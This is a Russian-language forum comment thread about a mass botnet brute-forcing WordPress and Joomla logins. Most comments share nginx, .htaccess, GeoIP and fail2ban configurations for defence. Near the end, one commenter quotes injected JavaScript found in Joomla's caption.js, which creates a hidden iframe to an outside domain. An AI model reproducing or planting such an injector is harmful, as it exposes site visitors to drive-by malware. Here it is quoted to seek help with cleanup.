Pull to refresh

Comments 48

У меня пару серверов в даун ушло из-за этого. Несколько сайтов там на Вордпрессе брутили. Пришлось смотреть в чем проблема.
Хостер мой, конечно, позакрывал админку и login, но и без того было перенаправление, установленное плагином Better WP Security.
Удивляет, что кто-то им не пользуется, т.к. он во всех рекомендациях к wp упоминается.
Особенно, доставляет автоматический бан за брутфорс и обращения к 404. И неплохо бы ставить ограничение на вход со своих IPшников.

Согласен, что это не проблема для большинства хабраюзеров, но wp часто используют не админы, а «продвинутые» пользователи, у которых настройка примитивной защиты займёт часы или дни.
Поставил этот долбанный плагин, настроил все, проверил все — работает и сайт и защита, сразу начало брутофорсеров логировать.

Утром просыпаюсь, в метрику — а там провал. У меня душа в пятки. Сайт открывается. Думаю, может занесли в блек лист какой-то из сайтов на IP на котором вишу. Нет, все нормально. И тут я открыл статью и получил 404-ую. Эта зараза, взяла и сбросила настройки постоянных ссылок. Самое интересное, что все ведь проверял, но, скорее всего мне кеш отдавался.
После ребилда все заработало, но ночь трафика потеряна и еще не понятно, что с поисковыми позициями будет.
У меня один раз яша словил .htaccess в корне (по ошибке буквально на минуту туда отправленный) с полным запретом доступа, так выкинул все страницы из индекса и 4 месяца все восстанавливал. Так что тут, что хочешь можно ждать :)

Впредь, по 50 раз буду все проверять, особенно, когда такие плагины ставить буду.
В мире столько всего брутят… данная «атака» не достойна хабра
UFO landed and left these words here
Все время все долбятся на wordpress и на ssh и на фтп, по моему этому явлению уже годы.
Не соглашусь. Атака на самом деле достаточно серьезная. У меня в блек лист пордяка 10 тыс ip ушло, причем на wp всего 5 сайтов. Пока на всех wp-login не прикрыл сервак вешался минут за 20-30. А учитывая массовость, я думаю что все же новость «достойная».
Серваки ни разу не ложились из-за этой атаки.
Подбор активней чем обычно — да.
Решается дополнительной HTTP-авторизацией на wp-login.php
Spaceweb из-за этого прикрыл админку сайтов на Joomla и Wordpress.
Подбор на пару порядков активней шел.
Решил доп.авторизацией, плюс добавил ограничение на ip.

Кстати, коллеги, подскажите пожалуйста, у меня часть WP на nginx+php-fpm и с таким доп.ограничением были проблемы:
Написал вот так, чтобы заработало:

location = /wp-login.php {
allow xx.yy.0.0/16;
deny all;

# без этого участка обращение к wp_login.php предлагало его просто скачать, а не выполнить
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
fastcgi_pass php;

# запрашиваем доп пароль:
auth_basic «Hi! Admin»;
auth_basic_user_file /etc/nginx/adminpasswd;
}

Интересует, как можно было бы избавиться от средней части (чтобы не предлагало скачать, а выполняло скрипт).
Хотелось бы, чтобы директивы

allow xx.yy.0.0/16;
deny all;

просто запретили или пропустили дальше на следующие правила. Что то моих знаний не хватает с такой проблемой разобраться, пришлось городить среднюю часть.
на сколько я понимаю в настройке nginx, вы сделали отдельный локейшн для файла wp-login.php, следовательно nginx думает что это обычный файл, правильно будет

location =/wp-login.php {
  fastcgi_split_path_info ^(.+\.php)(/.+)$;
  include fastcgi_params;
  fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
  fastcgi_pass php;
  allow xx.yy.0.0/16;
  deny all;
  auth_basic «Hi! Admin»;
  auth_basic_user_file /etc/nginx/adminpasswd;
}
Спасибо за совет.
Но, вроде, мой код чуть лучше — сначала идет проверка на доступность текущему пользователю и только если он попадает в заданный диапазон, происходит парсинг входной строки, подключение параметров и уже затем выполнение скрипта.
Может как то проще можно дать разрешение только нужному диапазону и потребовать доп.аутентификацию для файла wp-login.

Для апача такую реализацию получилось сделать гораздо проще и быстрее ( с .htaccess больше приходилось работать, чем с nginx)
Брутили админку IPB, очень упорно, поразительно упорно.
Защитил свои wordpress сайты так
## Block user agents
		location ~ ^/(wp-login\.php) {
                	set $block_user_agents 0;
			if ($http_user_agent ~ "Gecko/20100101 Firefox/1") {
				set $block_user_agents 1;
			}
			if ($block_user_agents = 1) {
				return 403;
			}
			proxy_pass http://159.253.23.246:8080;
			proxy_redirect http://ipod-touch-max.ru:8080/ /;
			proxy_set_header Host $host;
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
			proxy_set_header X-Real-IP $remote_addr;

  		}		
		## Block user agents

Спам боты преимущество имеют user-agent «Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0».
не только

108.170.22.211 — - [04/Aug/2013:00:09:29 +0200] «POST /administrator/index.php HTTP/1.0» 200 455 «-.ru/administrator/index.php» «Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10»

на одном опера, на другом мозилла
Вот так можно еще попробовать (если внимательно логи посмотреть).

if ($http_referer !~* ^($|https?://) ){
return 403;
}
UFO landed and left these words here
Да, брутили из 5 только 1, но с IP-адресами полный треш.
Сотни их, тысячи!
UFO landed and left these words here
Будете рассылать, этим можете послать. Это те которые в wp-admin ломятся :)
pastebin.com/D4UmWphR
Ну и я тогда свои 5 копеек добавлю.

<IfModule mod_rewrite.c>

# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

# anti wp password bruteforce attack
RewriteCond %{REQUEST_URI} wp-login.php|wp-admin
RewriteCond %{HTTP_USER_AGENT} !^Opera/[0-9.]+
RewriteRule . - [R=404,L]
# end anti wp password bruteforce

</IfModule>

php_value upload_max_filesize 4M



В админку попадут только юзеры использующие оперу, а для остальных — 404.
Учитывая что обычно ботами в User-Agent используется «Mozilla/5.0», это пока работает.
Кстати, еще можно задать в браузере свой юзер-агент, на пример через этот плагин: addons.opera.com/en/extensions/details/user-agent-changer/
И авторизовывать (пускать к wp-login.php) только с ним. Хотя это и не очень удобно.
Ага брутят. Когда 100500 сайтов на WP это весьма заметно.
В наше тяжелое время без двойной авторизации уже никуда. Самое примитивное — сначала http авторизация (.htaccess) чтобы добраться до login.php. Или посложнее — чтобы логин не проигнорировал запрос, перед этим этот же ИП должен просто зайти на определенный секретный УРЛ с «пустой» страницей. Или еще сложнее — патч к ядру, который ловит нестандартный пинг и открывает порт ;)
Да все подряд админ-панели прикрывают, а у меня ещё и ФТП закрыли…
Для тех кто считает, что это недостойно хабра — ботнет больше 100 тыс. машин и растет, не припомню атаки таких размеров на wordpress.

Для примера на одном из серверов около 15 сайтов на wordpress, по статистике apache примерно 90-95% запросов к сайтам это подбор паролей, можно представить насколько увеличилась нагрузка на сервер, трафик.

Для тех кто добавляет ip ботена в блеклист — ботнет в том числе из зараженных компьютеров пользователей, которые не смогут попасть к вам на сайты.

Письмо от хостера beget,ru, немного больше подробностей:

В течении последних двух дней идет активный перебор паролей на популярных CMS.
Ботнет, с которого осуществляется перебор, паролей превышает 100000 машин и постоянно
увеличивается, и, как показала практика, часть ботнета — компьютеры обычных
пользователей, зараженных вирусом. Блокирование таких ботов приводит к недоступности
сайтов у данных пользователей.

После взлома сайта, через инсталяцию вредоносного кода сайт подключается к
перебору паролей на других серверах. Тут нужно пояснить, что в данном случае
подвержены проблемам не только наши сервера, перебор паролей осуществляется
глобально.

Чтобы не травмировать пользователей, надо смотреть что за ip блочится. Загнал диапазоны ip популярных хостеров России и мира — нагрузка ощутимо снизилась.
Главное гугло-бота случайно не заблочить. :)
Еще, например, популярный linode.com также под атакой: status
Попробуйте плагин Protected wp-login для защиты wp от брутфорс атак.

image

Из особенностей:
* снижение нагрузки от брутфорса.
* дополнительная защита от взлома.
* простота настройки и установки
* минимальная нагрузка на сайт от плагина. (очень легкий)
* есть русская локализация

Домашняя страничка плагина: themext.com/
Ссылка в каталоге wordpress.org/plugins/protected-wp-login/
Спасибо, очень своевременно. Доля запросов к wp-login.php 28.11% Не самый слабый виртуальный сервер ложился уже раза три.
ну и вдогонку — top10:
     67 115.146.188.42
     67 176.31.89.249
     70 188.143.233.174
     81 195.175.30.134
     88 184.82.179.165
    160 115.254.15.78
    290 178.78.21.16
    899 184.82.179.115
   1240 217.113.120.70
  24764 187.210.11.100

Попробовать fail2ban, есть и как плагин здесь.
Хотя гораздо проще руками, если есть понятие как работают фильтры fail2ban.
У меня обычно им «защищено» все что можно от pam-generic и ssh до мыла и веб-морды. Не панацея, но от брута (хотя бы в смысле экономии трафика) спасает очень.
Хорошая практика закрыть вообще любые админки и открывать белым списком IP «по стуку» или после дерганья секретного URL по https.
Пару дней назад как раз отказалась показываться страница wp-admin.php, долго и безрезультатно бился.
Nginx на запрос страницы выбрасывал 404, что было крайне странно. Т.к. прямого доступа к хосту не было не смог глянуть что там творится.
А оказывается вот оно что…
более универсальный вариант, на уровне nginx — идея запретить доступ к wp-login.php всем кто не из России

http {
......
geoip_country /usr/share/GeoIP/GeoIP.dat;
    map $geoip_country_code $allowed_country {
        default no;
        RU yes;
        UA yes;
    }
    server{
               location ~ ^/(wp-login\.php) {
			if ($allowed_country = no) {
				return 444;
			}
               }
    }
}

Вообще-то не с 2-го, а гораздо раньше. Мой бложик с месяц уже активно брутфорсят. Какое было мое удивление, когда я обнаружил error_log размером 14 гигов. В итоге дабы error_log опять не расползался пришлось прикрутить через .htaccess дополнительную авторизацию на wp-login.php Не уверен, что это правильно, но работает.
Вполне себе правильно решение, как по мне.
Не поделитесь готовым примером?
Basic авторизация, пускай даже test-test — хорошо помогает, особенно если вставить в httpd.conf

LA c 30 до 0.5 упал.
Есть жертвы!

Яндекс шлет письма о вредоносном коде.

Почти все джумлы на аккаунте (штук 10) в файле media/system/js/caption.js добавлен код в конец
var ifYnXm3 = document.createElement('iframe');
ifYnXm3.name = 'ifYnXm3';
ifYnXm3.src = 'хттп://asnem .listen-it .com/';
ifYnXm3.style.width = '0px';
ifYnXm3.style.height = '0px';
window.onload = function() {
if (document.cookie.indexOf('ifYnXm3=') == -1) { 
document.getElementsByTagName('body')[0].appendChild(ifYnXm3); 
document.cookie = 'ifYnXm3=yes; 
path=/; 
expires=Wednesday, 18-May-33 03:33:20 GMT';}
};


дата изменения файлов не изменена!

Такой же код как минимум в одном файле jquery.min

Как искать дыру? Могли ли они залить скрипт на сервер? Смена паролей решит проблему?
Уверены что это только сейчас случилось? Тем более что если все сайты разом, то больше похоже что через FTP меняли.
Яндекс только вчера прислал письма о заражении двух сайтов. Про остальные пока молчит. Они почти мертвые, оставлю как есть, посмотрю как быстро яндекс их заметит.
Only those users with full accounts are able to leave comments. Log in, please.

Please pay attention